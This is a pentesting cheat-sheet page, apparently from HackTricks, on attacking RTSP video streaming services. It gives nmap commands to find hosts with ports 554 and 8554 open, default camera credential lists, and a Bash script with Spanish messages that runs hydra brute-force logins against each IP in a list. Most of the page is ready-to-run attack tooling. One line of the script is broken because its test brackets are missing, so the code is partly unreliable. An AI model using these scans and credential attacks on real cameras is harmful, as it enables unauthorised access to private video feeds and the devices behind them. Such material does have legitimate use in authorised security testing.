554,8554 - RTSP

554,8554 - Pentesting RTSP - HackTricks

 nmap -p 554 -iL ips.txt --open -oG - | awk '/554\/open/ {print $2}' > 554.txt
 nmap -p 8554 -iL ips.txt --open -oG - | awk '/8554\/open/ {print $2}' > 8554.txt
cat *554.txt | sort | uniq > rtsp_ips.txt
nmap --script rtsp-* -p 554,8554 -iL rtsp_ips.txt -oN rtsp_targeted.txt --open
hydra -l root -P passwords.txt <IP> rtsp

rtsp_users.txt

admin
Admin
Administrator
root
supervisor
ubnt
service
Dinion
administrator
admin1

rtsp_passwords.txt

admin
9999
123456
pass
camera
1234
12345
fliradmin
system
jvc
meinsm
root
4321
111111
1111111
password
ikwd
supervisor
ubnt
wbox123
service
./hydra_brute.sh  -i rtsp_ips.txt -u rtsp_users.txt -p rtsp_passwords.txt
#!/bin/bash

show_help() {
  echo "Uso: $0 -i <ips.txt> -u <users.txt> -p <passwords.txt> [-o <output.txt>]"
  echo ""
  echo "  -i   Archivo con lista de IPs (una por línea)"
  echo "  -u   Archivo con lista de usuarios"
  echo "  -p   Archivo con lista de contraseñas"
  echo "  -o   (Opcional) Archivo de salida (por defecto: hydra_rtsp_results.txt)"
  echo "  -h   Mostrar esta ayuda"
  exit 1
}

# Valores por defecto
output_file="hydra_rtsp_results.txt"

# Parsear argumentos
while getopts ":i:u:p:o:h" opt; do
  case $opt in
    i) input_file="$OPTARG" ;;
    u) user_file="$OPTARG" ;;
    p) pass_file="$OPTARG" ;;
    o) output_file="$OPTARG" ;;
    h) show_help ;;
    \?) echo "❌ Opción inválida: -$OPTARG" >&2; show_help ;;
    :) echo "❌ La opción -$OPTARG requiere un argumento." >&2; show_help ;;
  esac
done

# Verificar que se pasaron los argumentos requeridos
if  -z "$input_file" ; then
  echo "❌ Faltan argumentos obligatorios."
  show_help
fi

# Comprobar que los archivos existen
for file in "$input_file" "$user_file" "$pass_file"; do
  if [[ ! -f "$file" ]]; then
    echo "❌ Archivo no encontrado: $file"
    exit 1
  fi
done

# Limpiar salida anterior
> "$output_file"

# Probar cada IP
while read -r ip; do
  echo "🎯 Probando RTSP en $ip"
  hydra -L "$user_file" -P "$pass_file" "rtsp://$ip" -f -t 4 -o temp_result.txt
  
  if grep -q "login:" temp_result.txt; then
    echo "✅ Credenciales encontradas en $ip"
    cat temp_result.txt >> "$output_file"
  fi

  rm -f temp_result.txt
done < "$input_file"

echo "✅ Ataque finalizado. Resultados guardados en $output_file"